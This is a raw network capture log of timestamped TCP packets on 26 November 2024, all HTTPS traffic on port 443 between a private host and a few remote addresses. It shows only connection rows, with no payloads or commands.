Nov 26, 2024 13:44:28.321119070 CET	443	49929	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.321221113 CET	49929	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.321341991 CET	49929	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.321361065 CET	443	49929	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.323637962 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.323717117 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.323738098 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.323756933 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.323777914 CET	49919	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.323791027 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.323816061 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.323824883 CET	49919	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.323865891 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.323867083 CET	49919	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.323889971 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.323901892 CET	49919	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.324989080 CET	49930	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.325027943 CET	443	49930	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.329052925 CET	49930	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.329272032 CET	49930	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.329287052 CET	443	49930	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.374063969 CET	49919	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.546154976 CET	443	49922	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.546190023 CET	443	49922	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.546242952 CET	443	49922	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.546317101 CET	49922	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.546360016 CET	49922	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.547555923 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.547575951 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.547602892 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.547617912 CET	49919	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.547641039 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.547663927 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.547667027 CET	49919	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.547672987 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.547679901 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.547708988 CET	49919	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.547720909 CET	49919	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.547727108 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.547745943 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.547785997 CET	49919	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.548306942 CET	49919	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.548311949 CET	443	49919	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.548367023 CET	49919	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.548389912 CET	49919	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.559545040 CET	49922	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.559561968 CET	443	49922	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.559575081 CET	49922	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.559580088 CET	443	49922	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.567415953 CET	49931	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.567456961 CET	443	49931	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.567521095 CET	49931	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.568501949 CET	49931	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.568532944 CET	443	49931	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.705930948 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.705969095 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:28.706028938 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.706253052 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:28.706264019 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:29.168107033 CET	443	49925	142.250.181.68	192.168.2.7
Nov 26, 2024 13:44:29.168530941 CET	49925	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:44:29.168559074 CET	443	49925	142.250.181.68	192.168.2.7
Nov 26, 2024 13:44:29.168910980 CET	443	49925	142.250.181.68	192.168.2.7
Nov 26, 2024 13:44:29.169205904 CET	49925	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:44:29.169270039 CET	443	49925	142.250.181.68	192.168.2.7
Nov 26, 2024 13:44:29.173458099 CET	443	49924	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:29.173863888 CET	49924	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:29.173877001 CET	443	49924	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:29.174343109 CET	49924	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:29.174346924 CET	443	49924	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:29.210196018 CET	49925	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:44:29.454020977 CET	443	49927	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:29.468349934 CET	49927	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:29.468364954 CET	443	49927	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:29.469569921 CET	443	49927	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:29.469628096 CET	49927	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:29.471544981 CET	49927	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:29.471627951 CET	443	49927	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:29.472002029 CET	49927	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:29.472012997 CET	443	49927	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:29.521553040 CET	49927	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:29.617938042 CET	443	49924	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:29.620868921 CET	443	49924	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:29.620949030 CET	49924	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:29.629230976 CET	49924	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:29.629244089 CET	443	49924	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:29.629271984 CET	49924	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:29.629281044 CET	443	49924	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:29.726074934 CET	443	49926	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:29.764772892 CET	49934	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:29.764811039 CET	443	49934	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:29.764890909 CET	49934	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:29.765151024 CET	49926	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:29.765166998 CET	443	49926	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:29.765618086 CET	49926	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:29.765621901 CET	443	49926	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:29.788923025 CET	49934	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:29.788937092 CET	443	49934	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:29.919420004 CET	443	49927	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:29.920082092 CET	443	49927	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:29.920160055 CET	49927	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:29.920177937 CET	443	49927	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:29.970633984 CET	443	49928	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:29.972048044 CET	49927	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:30.021404982 CET	49928	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.049938917 CET	49928	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.049945116 CET	443	49928	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.050400972 CET	49928	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.050405979 CET	443	49928	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.111010075 CET	443	49927	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:30.163139105 CET	49927	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:30.163156033 CET	443	49927	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:30.164212942 CET	49927	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:30.164346933 CET	443	49927	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:30.164453030 CET	49927	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:30.169900894 CET	443	49926	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.173902988 CET	443	49926	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.173944950 CET	49926	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.173947096 CET	443	49926	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.174000978 CET	49926	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.174271107 CET	49926	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.174280882 CET	443	49926	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.174290895 CET	49926	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.174294949 CET	443	49926	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.181289911 CET	49935	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.181327105 CET	443	49935	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.181380987 CET	49935	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.181984901 CET	49935	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.182004929 CET	443	49935	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.221352100 CET	443	49930	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.221659899 CET	49930	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.221673965 CET	443	49930	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.222955942 CET	443	49930	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.223014116 CET	49930	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.223764896 CET	49930	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.223831892 CET	443	49930	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.223918915 CET	49930	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.223928928 CET	443	49930	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.271776915 CET	49930	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.276772022 CET	443	49929	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.277461052 CET	49929	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.277478933 CET	443	49929	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.278187037 CET	49929	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.278192043 CET	443	49929	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.292524099 CET	443	49931	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.293025017 CET	49931	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.293040991 CET	443	49931	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.293493986 CET	49931	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.293498993 CET	443	49931	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.405436993 CET	443	49928	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.408813953 CET	443	49928	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.408883095 CET	49928	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.409104109 CET	49928	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.409117937 CET	443	49928	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.409137964 CET	49928	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.409142971 CET	443	49928	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.414375067 CET	49936	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.414413929 CET	443	49936	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.414520979 CET	49936	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.414624929 CET	49936	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.414634943 CET	443	49936	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.430947065 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.431233883 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.431250095 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.431893110 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.432178020 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.432241917 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.432327986 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.479321957 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.669128895 CET	443	49930	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.669318914 CET	443	49930	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.669382095 CET	49930	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.670728922 CET	49930	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.670746088 CET	443	49930	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.728446960 CET	443	49931	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.731458902 CET	443	49931	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.731525898 CET	49931	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.731792927 CET	49931	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.731808901 CET	443	49931	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.734599113 CET	443	49929	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.736114979 CET	49937	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.736145973 CET	443	49937	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.736202955 CET	49937	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.736680031 CET	49937	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.736694098 CET	443	49937	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.740439892 CET	443	49929	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.740556955 CET	443	49929	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.740570068 CET	49929	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.740636110 CET	49929	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.741873026 CET	49929	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.741878986 CET	443	49929	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.741924047 CET	49929	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.741930962 CET	443	49929	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.744988918 CET	49938	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.745016098 CET	443	49938	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.745099068 CET	49938	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.745242119 CET	49938	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.745250940 CET	443	49938	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.917368889 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.917438030 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.917481899 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.917509079 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.917541981 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:30.917557955 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:30.917582035 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:31.098866940 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:31.098926067 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:31.098969936 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:31.098999977 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:31.099025965 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:31.099064112 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:31.108738899 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:31.108833075 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:31.108850956 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:31.108890057 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:31.108930111 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:31.108974934 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:31.176925898 CET	49939	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:31.176959991 CET	443	49939	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:31.177030087 CET	49939	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:31.179065943 CET	49939	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:31.179080009 CET	443	49939	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:31.183214903 CET	49933	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:31.183247089 CET	443	49933	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:31.568407059 CET	443	49934	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:31.569153070 CET	49934	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:31.569169998 CET	443	49934	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:31.569679022 CET	49934	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:31.569683075 CET	443	49934	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.014194965 CET	443	49934	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.017476082 CET	443	49934	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.017606020 CET	49934	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.017786980 CET	49934	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.017795086 CET	443	49934	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.029421091 CET	49940	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.029443026 CET	443	49940	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.029560089 CET	49940	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.029702902 CET	443	49935	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.029725075 CET	49940	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.029735088 CET	443	49940	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.030031919 CET	49935	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.030042887 CET	443	49935	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.030622959 CET	49935	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.030627012 CET	443	49935	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.199898958 CET	443	49936	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.214804888 CET	49936	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.214823961 CET	443	49936	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.215527058 CET	49936	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.215532064 CET	443	49936	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.578232050 CET	443	49935	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.578299999 CET	443	49935	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.578372955 CET	49935	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.580001116 CET	443	49939	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:32.580668926 CET	443	49938	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.580982924 CET	49939	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:32.580996990 CET	443	49939	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:32.582063913 CET	443	49939	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:32.582128048 CET	49939	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:32.590843916 CET	49935	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.590862036 CET	443	49935	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.590873003 CET	49935	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.590878963 CET	443	49935	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.595424891 CET	443	49937	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.596797943 CET	49938	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.596824884 CET	443	49938	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.597568035 CET	49938	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.597583055 CET	443	49938	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.598220110 CET	49939	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:32.598321915 CET	443	49939	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:32.598516941 CET	49939	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:32.598548889 CET	443	49939	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:32.598670959 CET	49939	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:32.598679066 CET	443	49939	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:32.657563925 CET	49937	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.657581091 CET	443	49937	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.658341885 CET	49937	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.658348083 CET	443	49937	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.662717104 CET	49941	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.662744999 CET	443	49941	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.662816048 CET	49941	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.663208961 CET	49941	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.663218975 CET	443	49941	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.738943100 CET	49939	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:32.783381939 CET	443	49936	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.786364079 CET	443	49936	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.786417961 CET	443	49936	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.786482096 CET	49936	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.786482096 CET	49936	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.787157059 CET	49936	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.787168980 CET	443	49936	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.793143988 CET	49942	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.793174982 CET	443	49942	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:32.793236971 CET	49942	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.794270039 CET	49942	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:32.794285059 CET	443	49942	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.027501106 CET	443	49938	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.030579090 CET	443	49938	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.030627012 CET	443	49938	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.030735970 CET	49938	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:33.030788898 CET	49938	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:33.030806065 CET	443	49938	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.030829906 CET	49938	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:33.030838966 CET	443	49938	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.038213968 CET	49943	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:33.038233042 CET	443	49943	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.038324118 CET	49943	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:33.039208889 CET	49943	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:33.039223909 CET	443	49943	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.052154064 CET	443	49937	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.054903984 CET	443	49937	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.057063103 CET	49937	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:33.057121992 CET	49937	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:33.057137012 CET	443	49937	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.057147026 CET	49937	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:33.057152987 CET	443	49937	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.058171988 CET	443	49939	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:33.059468031 CET	49944	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:33.059504986 CET	443	49944	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.059601068 CET	49944	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:33.059740067 CET	49944	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:33.059756041 CET	443	49944	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.129555941 CET	49939	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:33.129564047 CET	443	49939	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:33.239682913 CET	49939	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:33.260015965 CET	443	49939	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:33.442775011 CET	49939	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:33.442785025 CET	443	49939	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:33.447860003 CET	49939	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:33.447931051 CET	443	49939	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:33.448050976 CET	49939	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:33.679632902 CET	49945	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:33.679668903 CET	443	49945	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:33.679754019 CET	49945	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:33.679955959 CET	49945	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:33.679971933 CET	443	49945	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:33.990252018 CET	443	49940	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.990962029 CET	49940	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:33.990999937 CET	443	49940	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:33.991435051 CET	49940	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:33.991441965 CET	443	49940	13.107.246.63	192.168.2.7
